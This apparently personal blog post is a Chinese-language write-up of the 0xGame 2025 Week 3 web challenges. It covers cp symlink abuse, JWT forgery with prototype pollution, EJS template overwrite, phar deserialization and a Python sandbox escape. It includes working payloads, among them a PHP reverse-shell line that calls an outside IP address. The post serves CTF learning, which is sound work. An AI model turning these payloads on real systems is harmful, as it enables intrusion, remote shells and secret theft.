0xgame2025-Week3 Web全解复现

本文最后更新于 2026年6月2日 晚上

放开我的变量

首先这道题肯定已经被刷爆了,所以就来谈谈个人做题感想

按照常规做ctf题规,肯定扫了一遍目录后就知道是robots.txt造成的目录泄露了

随后,看到题目中的后门中能直接连上蚁剑,看到根目录有flag文件,但是打开是空的,所以故认为是提权漏洞

但不得不多说一句,这道题目打反弹shell的话应该也是做的出来的(毕竟给了eval代码端口)

回到正题,先看看start.sh:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s

done &

exec apache2-foreground

这边关于-P有几点前置知识:(来源于:0xGame-2025 | tiran’s blog

cp指令参数

选项 名称/含义 对命令行参数中的符号链接 对目录内部的符号链接 备注
-P 不跟随 (Preserve link) 复制链接本身 复制链接本身 通常是默认行为
-H 仅命令行跟随 复制链接指向的目标 复制链接本身 只对直接列出的源起作用
-L 总是跟随 (Follow link) 复制链接指向的目标 复制链接指向的目标 -P 行为完全相反

这里代码意思大概是要移动至/var/www/html/primary文件,在这个文件里面存在cp提权漏洞
原理大概是:
-P 意味着将文件名当作命令行选项执行,包括我们后面需要用到的-***的文件复制漏洞

我们后面就是要通过在此的侧通道权限绕过:

先在primary文件夹里面创建一个空文件:-H

随后写入/flag导出链接:

最后回到marstream文件夹里面,发现刚刚写的Flag文件,找到flag:

后记和另一种解法

这道题主要考查的是cp越权漏洞,重在我们拿flag的方式,传统的tac,whoami等提权指令不起作用

所以我们只能换个思路:

还是先试试我的反弹shell吧:

先传

1
system("which nc");

回显:

1
sh: 1: nc: not found

所以不难发现,本题目内的服务器没有-e,所以只能换种bash自带的方法:

1
$s=fsockopen("你的IP",4444);fwrite($s,"hello\n");

这边测试了一下最简单的探针回显hello,成功:

然后构造payload通过php的回调函数连接上webshell:

1
$s=fsockopen("107.148.174.76",11451);proc_open("/bin/sh -i", [0=>$s,1=>$s,2=>$s], $pipes);

随后操作就跟蚁剑一样了

这使我了解到:反弹shell只是能从一个正常的端口弹出那些本无回显的文本,并不能说是一种”提权手段“

所以,该提权的还是老老实实去提权吧。。。

长月夜

首先题目附件给了一个app.json,先分析查找可利用的代码

先看到验证登录段

1
2
3
4
5
6
7
8
9
10
11
12
function Check(token){
if(!token){
res.redirect('/login');
}
const data = jwt.decode(token);

if(data.username === "admin"){
return true;
} else{
return false;
}
}

再结合后面这一段check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Admin_Check(req, res, next){
const token = req.cookies.token || req.headers.authorization?.split(' ')[1];

if(!token){
return res.redirect('/login', {message: "Need Login!"});
}
try{
const data = jwt.decode(token);
if(data.username === 'admin'){
return next();
} else{
return res.redirect('/trailblazer');
}
} catch (err){
return res.redirect('/login');
}
}

可以发现存在jwt密钥伪造漏洞,且题目没有对session做任何验证手段,这也就意味着我们只需更改session里面的role即可以管理员的身份登录

再接着往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
app.post('/admin_club1st', Admin_Check, (req, res) => {
let body = req.body;
let evernight = Object.create(CONFIG);
let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time;
merge(evernight, body);
let en = Object.create(CONFIG);

if (en.min_public_time < "2025-08-03") {
return res.render('march7th', {message: FLAG});
}

return res.render('evernight');
});

可以发现当min_public_time小于2025-08-03时会回显flag,所以也很清楚了。当访问/admin_club1st时,会检测min_public_time并继承自merge函数里的body和everynight

所以也很明显了,js原型链污染漏洞成立,所以尝试一下简单的payload:

1
{"__proto__":{"min_public_time":"2024-08-03"}} 			//随便改,小于即可

于是整条攻击链就出来了:

1
随便注册一个账户->拿/改session->登录管理员身份->拿flag

实操

先随便注册一个账号并登录拿到session

然后修改session:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE3ODAyMzUxNjcsImV4cCI6MTc4MDI3MTE2N30.OA1FNdAv4fEbPdHuaz43jO4s-j1yuRPfEKPRHNeZSYM

登录/admin_club1st

记得改POST和json格式

拿到flag

0xGame{Back_to_Earth_in_Evernight}

这真的是文件上传

这道题给了App.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
//original-author: gtg2619
//adapt: P
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
app.set('view engine', 'ejs');
app.use(express.json({
limit: '114514mb'
}));

const STATIC_DIR = __dirname;

function serveIndex(req, res) {
// Useless Check , So It's Easier

var whilePath = ['index'];
var templ = req.query.templ || 'index';

if (!whilePath.includes(templ)){
return res.status(403).send('Denied Templ');
}

var lsPath = path.join(__dirname, req.path);

try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
res.status(500).send('Error');
}
}

app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null)
) res.status(500).send('Error');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})

app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})

app.put('/*', (req, res) => {
// Why Filepath Not Check ?
const filePath = path.join(STATIC_DIR, req.path);

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error');
}
res.status(201).send('Success');
});
});

app.listen(80, () => {
console.log(`running on port 80`);
});

找到渲染点

1
2
3
4
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})

发现当访问首页的时候会渲染serveIndex()函数,故可以联想到ejs的渲染漏洞

然后着重分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function serveIndex(req, res) {
// Useless Check , So It's Easier

var whilePath = ['index'];
var templ = req.query.templ || 'index';

if (!whilePath.includes(templ)){
return res.status(403).send('Denied Templ');
}

app.put('/*', (req, res) => {
// Why Filepath Not Check ?
const filePath = path.join(STATIC_DIR, req.path);

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error');
}
res.status(201).send('Success');
});
});

这里是两段有关渲染输入输出的指定函数,首先根据提示 // Useless Check , So It's Easier可以得知不会对上传的模板进行过多检查,也就意味着可以随意上传恶意渲染模板而提示// Why Filepath Not Check ?又说明没有对提取访问的文件路径进行过多检查,所以我们可以得出结论,这道题目就是通过访问特定路径进行ejs模板的覆盖然后实现rce

随后找注入点

1
2
3
4
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error');
}

从这里可以发现是从body的content函数来继承(获取)模板,虽然做了waf

1
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');

但是也只是防止了文件上传的js后缀和目录穿越的..,所以无伤大雅

构造payload先在环境变量里寻找flag:

1
{"content":"<pre><%=process.env.FLAG%></pre>"}			//源代码说了要上传base64

然后转base64访问/views/index.ejs/.,这里用到了一个绕过来防waf

这里有个小细节,就是这里写文件的路由只注册了PUT,所以我们要用PUT去访问

最后访问首页,拿到flag

文件查询器(蓝)

打开首页发现是要自己上传文件并自己进行文件包含的题目

浅浅的fuzz了一下,发现有文件头过滤,会检查上传文件的内容

非预期解

及通过目录穿越/../../../../../../../../../../../proc/self/environ访问环境变量拿到flag,而这也正是网上最多的解法,打出来后base64解码即可得到

正解

首先访问./index.php拿到源码中有关waf的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
class MaHaYu{
public $HG2;
public $ToT;
public $FM2tM;
public function __construct()
{
$this -> ZombiegalKawaii();
}

public function ZombiegalKawaii()
{
$HG2 = $this -> HG2;
if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2))
{
die("这这这你也该绕过去了吧");
}
else{
$this -> ToT = "这其实是来占位的";
}
}

public function __destruct()
{
$HG2 = $this -> HG2;
$FM2tM = $this -> FM2tM;
echo "Wow";
var_dump($HG2($FM2tM));
}
}

$file=$_POST['file'];
if(isset($_POST['file']))
{
if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file))
{
die("对方撤回了一个请求,并企图萌混过关");
}
echo base64_encode(file_get_contents($file));
}

发现有正则匹配

/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i

/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i

看到存在__construct()__destruct()类,可以联想到phar反序列化

分析一下

__construct()类

首先是一个MaHaYu主类,有三个对象,将参数传给ZombiegalKawaii方法的HG2进行正则匹配

但是,看到最后只回显个这其实是来占位的,所以可以判断这个ToT类没啥子用

__destruct()类

这里才是反序列化的核心,合并上

1
2
3
4
5
6
7
8
9
$file=$_POST['file'];
if(isset($_POST['file']))
{
if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file))
{
die("对方撤回了一个请求,并企图萌混过关");
}
echo base64_encode(file_get_contents($file));
}

一同构成RCE的端口

于是便构造phar文件,并以双后缀的形式绕过前端后缀验证1.phar.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
class MaHaYu{
public $HG2;
public $ToT;
public $FM2tM;
public function __construct()
{
$this -> ZombiegalKawaii();
}

public function ZombiegalKawaii()
{
$HG2 = $this -> HG2;
if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2))
{
die("这这这你也该绕过去了吧");
}
else{
$this -> ToT = "这其实是来自各位的";

}
}

public function __destruct()
{
$HG2 = $this -> HG2;
$FM2tM = $this -> FM2tM;
echo "Wow";
var_dump($HG2($FM2tM));
}
}
$a = new MaHaYu();
$a -> HG2 = "getenv";
$a->FM2tM="FLAG"; //本来用glob发现根目录无flag,直接看环境就好了


$phar = new Phar("2.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();

$fp = gzopen("2.phar.gz", 'w9');
gzwrite($fp, file_get_contents("2.phar"));
gzclose($fp);

@rename("2.phar.gz", "1.phar.png");
?>

最后获得flag

消栈逃出沙箱(1)反正不会有2(pyjail)

这题显而易见,考的pyjail,但是跟vnctf2026的又很不一样

首先进入首页拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from flask import Flask, request, Response
import sys
import io

app = Flask(__name__)
blackchar = "&*^%#${}@!~`·/<>"

def safe_sandbox_Exec(code):
whitelist = {
"print": print,
"list": list,
"len": len,
"Exception": Exception
}

safe_globals = {
"__builtins__": whitelist
}

original_stdout = sys.stdout
original_stderr = sys.stderr

sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

try:
exec(code, safe_globals)

output = sys.stdout.getvalue()
error = sys.stderr.getvalue()

return output or error or "No output"

except Exception as e:
return f"Error: {e}"

finally:
sys.stdout = original_stdout
sys.stderr = original_stderr

@app.route('/')
def index():
return open(__file__).read()

@app.route('/check', methods=['POST'])
def check():
data = request.form['data']

if not data:
return Response("NO data", status=400)
for d in blackchar:
if d in data:
return Response("NONONO", status=400)

secret = safe_sandbox_Exec(data)
return Response(secret, status=200)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000)

首先指出黑名单:

1
blackchar = "&*^%#${}@!~`·/<>"

不算很严,一些常见的字符都没ban,看到关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/check', methods=['POST'])
def check():
data = request.form['data']

if not data:
return Response("NO data", status=400)
for d in blackchar:
if d in data:
return Response("NONONO", status=400)

secret = safe_sandbox_Exec(data)
return Response(secret, status=200)

因为没有echo或print,所以传输data的时候要注意加上print(),首先试试基础探测

没问题,让ai帮忙整理一下可利用的模块

找到Popen模块在最后行(即-1行),故调用该模块,然后又因sandbox禁止变量赋值,所以不用常规的赋值执行,改成单行执行

1
print(''.__class__.__base__.__subclasses__()[-1](['ls'], stdout=-1).communicate()[0])

成功回显当前目录

读取环境变量,发现flag


0xgame2025-Week3 Web全解复现
https://zomnap.github.io/2026/06/01/0xgame2025/
作者
Zomnap
发布于
2026年6月1日
许可协议